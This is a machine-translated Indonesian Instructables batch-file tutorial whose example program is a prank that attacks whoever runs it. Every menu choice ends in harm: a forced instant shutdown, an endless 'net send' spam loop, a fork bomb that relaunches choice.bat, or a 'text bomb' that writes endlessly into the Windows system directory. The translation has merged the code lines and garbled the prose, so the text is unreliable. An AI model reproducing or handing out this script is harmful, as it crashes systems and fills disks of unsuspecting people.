Daftar Isi:
- Langkah 1: Memformat Teks, Judul, dan Cls Saya
- Langkah 2: Inisialisasi Variabel, Mendapatkan Input Pengguna dan Pernyataan If
- Langkah 3: Perintah Piping, Perintah Asinkron dan Variabel Lingkungan
- Langkah 4: Ada Apa? Kata
Video: Tutorial Batch - Ambil 2: 4 Langkah
2024 Pengarang: John Day | [email protected]. Terakhir diubah: 2024-01-30 09:58
Oke seperti yang saya katakan di tutorial saya sebelumnya tentang batch (https://www.instructables.com/id/EZ049TMM19EWPKGWKH/#CEINEJV64U3EWP86YUP), saya berencana untuk membuat tutorial 3 bagian (atau mengambil) yang luas pada batch. Yang harus mencakup sebagian besar dari apa yang perlu Anda ketahui untuk melakukan apa yang Anda inginkan dengan batch. File terlampir di bawah ini adalah file.bat (batch) yang dikompetisikan yang dibuat oleh saya, laconix / tak terelakkan_chaos
Langkah 1: Memformat Teks, Judul, dan Cls Saya
Oke untuk memulai dengan saya akan menunjukkan kode;
@echo offtitle Pilihan.. [oleh laconix]clsecho Anda memiliki beberapa pilihan untuk membuat..echo..membuat pilihan yang salah meskipun dan menderita konsekuensi!echo.pause:menuclsecho.echo.echo.echo.echo. echo //-----------------------------\echo / Pilih angka antara 1 dan 3 \echo (- 1.. 2.. 3 -)echo / Setiap pilihan kecuali satu adalah buruk! /echo \------------------------------/ title pada dasarnya mengatur judul untuk command prompt sehingga judul instructionables.com keren! cls baru saja menghapus cmd dari input atau output apa pun. Anda seharusnya sudah tahu apa yang dilakukan echo sekarang, tetapi echo. membuat baris baru yang berguna untuk memformat.:menu meskipun saya telah membahas ini di tutorial saya sebelumnya, ini layak untuk diulang lagi, pada dasarnya ini menciptakan titik dalam program di mana Anda dapat GOTO kapan saja. Sisa bagian ini hanya memformat.:D
Langkah 2: Inisialisasi Variabel, Mendapatkan Input Pengguna dan Pernyataan If
Sekali lagi saya akan menunjukkan kodenya lalu menjelaskannya;
set choice = nadaecho ?.:What&aposll it be:.?set /p choice= Hah? clsif %choice% == 1 GOTO oneif %choice% == 2 GOTO twoif %choice% == 3 GOTO threemsg * Bukan 1, 2 atau 3 eh? Sayang sekali, sampai jumpa..shutdown -s -f -t 00 set choice = nada, yang dilakukan adalah membuat atau menginisialisasi variabel dengan nilai awal atau "nada", atau tidak sama sekali.:D Variabel seperti wadah yang menyimpan informasi untuk Anda sampai tidak lagi dibutuhkan atau program ditutup. set /p choose=, ini mendapatkan input pengguna, dengan menggunakan perintah set dengan argumen /p yang memberi tahu perintah untuk memiliki promptstring. Jadi pada dasarnya atur /p choice=nomor berapa? seperti mengajukan pertanyaan dan mereka mengetik jawabannya. jika pernyataan if berfungsi seperti itu. if condition == true lakukan ini Jadi pada dasarnya dikatakan jika %choice% sama dengan 1 GOTO satu adalah tidak benar, itu hanya berlanjut ke baris berikutnya. shutdown -s -f -t 00 hanya mematikan komputer mereka memaksa semua program untuk menutup, seketika.
Langkah 3: Perintah Piping, Perintah Asinkron dan Variabel Lingkungan
Sekali lagi, kode dulu, penjelasan setelah;
:onemsg * Jadi Anda memilih #1, berpikir Anda&aposd aman?msg * SALAH!:netspamnet send * laconix rules! GOTO netspam:twoshutdown -s -t 10pausemsg * Semoga Anda mendapatkan ini tepat waktu, karena ini yang aman…shutdown -aGOTO hell:threemsg * Ini nomor aman…pause:forkstart choice.bat | msg * Penghapusan memori!GOTO fork:hellmsg * lelucon, mereka&aposre semua buruk!:textbombecho aturan laconix! >> %systemroot%/laconix.txtGOTO:textbomb:onePada dasarnya hanya masuk ke loop GOTO tak terbatas. Sangat mirip dengan contoh bom garpu 2 di tutorial pertama.:duaJalankan perintah shutdown -s -t 10" jeda s, jika mereka tidak menekan tombol pada saat komputer mereka dimatikan, jika mereka membuatnya dibatalkan dan membuat mereka GOTO neraka:neraka Memberitahu mereka bahwa tidak satu pun dari mereka yang baik, melakukan apa yang saya sebut bom teks. Yang pipa (>>) perintah echo laconix aturan!' ke %systemroot%/laconix.txt di\n infinite GOTO loop. %systemroot% adalah variabel lingkungan yang memberi tahu file untuk disimpan di direktori /windows/ tidak peduli nama drive root, mis. C;/, E:/, Z:/, dan lain-lain:threeMenipu mereka untuk berpikir bahwa ini adalah nomor yang amanBerubah menjadi bom garpu yang mirip dengan yang di tutorial pertama, tetapi dengan satu perbedaan utama Perintah asinkron; mulai pilihan.bat | msg * Penghapusan memori ! yang | menunjukkan perintah asinkron, yang pada dasarnya berarti mereka telah mengeksekusi pada waktu yang sama.
Langkah 4: Ada Apa? Kata
Terima kasih telah membaca tutorial saya, semoga Anda menyukai videonya. Belajar sesuatu.
Dan saya harap Anda terus tertarik pada komputer, dan pada instruksi saya. Ikuti terus tutorial terakhir saya di seri ini segera!
Direkomendasikan:
Sortir Gelembung dalam Batch!: 4 Langkah
Bubble Sort in Batch!: Pernah bertanya-tanya membuat algoritma pengurutan sederhana dalam batch murni? Jangan khawatir, ini sesederhana kue! Ini juga menunjukkan proses penyortirannya. (Catatan: Saya membuat ini di komputer Windows XP sehingga beberapa kode mungkin tidak berfungsi. Saya tidak yakin. Maaf…)
Tutorial Batch Windows Dasar: 5 Langkah
Tutorial Batch Windows Dasar: halo teman-teman, dalam 24 jam saya menerbitkan tutorial batch windows yang saya janjikan kepada Anda dalam instruksi terakhir saya. jika Anda belum melihatnya, klik tautan ini di sini: https://www.instructables.com/id/Python-Tutorial/ ini adalah (x100) dasar-dasar batch pr
Tutorial Batch Sangat Dasar: 6 Langkah
Tutorial Batch Sangat Dasar: Jika Anda sudah mengetahui esensi Batch, Anda TIDAK perlu membaca instruksi ini lanjutkan ke Tutorial Batch Tidak Begitu Dasar.CATATAN!: Setiap kali ada sesuatu dalam tanda kutip ("contoh"), jangan sertakan tanda kutip (jika Anda melihat t
Tutorial Batch Tidak Begitu Dasar: 6 Langkah
Tutorial Batch Tidak Begitu Dasar: Dalam tutorial sebelumnya kita mempelajari inti penting dari menulis file batch. Jika Anda tidak tahu apa itu batch, tetapi ingin mempelajarinya, lihat "Tutorial Batch Sangat Dasar".Dalam tutorial ini Anda akan mempelajari perintah lebih lanjut dan bagaimana
Pemrograman Batch. di Jendela Batch.: 3 Langkah
Pemrograman Batch. di Jendela Batch.: dalam instruksi ini (benar-benar batch) saya akan mengajari Anda cara membuat program batch. (ini adalah pertama saya jadi harap lembut)